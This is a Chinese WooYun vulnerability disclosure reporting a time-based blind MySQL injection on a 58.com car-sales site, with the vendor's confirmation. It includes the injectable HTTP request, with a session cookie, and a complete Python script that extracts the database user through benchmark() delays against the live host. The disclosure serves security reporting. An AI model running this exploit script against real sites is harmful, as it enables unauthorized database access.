当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126775

漏洞标题:58同城某站点MySQL注射(附脚本)

相关厂商:58同城

漏洞作者: lijiejie

提交时间:2015-07-14 17:47

修复时间:2015-08-30 12:18

公开时间:2015-08-30 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-14: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-26: 细节向核心白帽子及相关领域专家公开
2015-08-05: 细节向普通白帽子公开
2015-08-15: 细节向实习白帽子公开
2015-08-30: 细节向公众公开

简要描述:

58同城某站点MySQL注射

详细说明:

注入点:

GET /323224/order.html?prdid=*&sellerid=323224&source_detail=0000000000&type=3 HTTP/1.1
User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
X-Requested-With: XMLHttpRequest
Referer: http://che.58.com
Cookie: city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php
Host: che.58.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


另一处注入点:

/index.php?r=trainingOrder/save
多个参数可注入

漏洞证明:

一sleep就挂了,用benchmark没问题。
user()长度24,得到:

[Done] MySQL user is carproducror@10.9.17.17l


58.mysqli.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
'Referer': 'http://che.58.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
for payload in payloads:
s = '/323224/order.html?prdid=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)&sellerid=323224&source_detail=0000000000&type=3' % (i, ord(payload))
conn = httplib.HTTPConnection('che.58.com', timeout=30)
conn.request(method='GET',url=s, headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-16 12:17

厂商回复:

确认漏洞存在,辛苦了!URL库抓取的URL不够全,导致扫描器也没发现这个漏洞。

最新状态:

暂无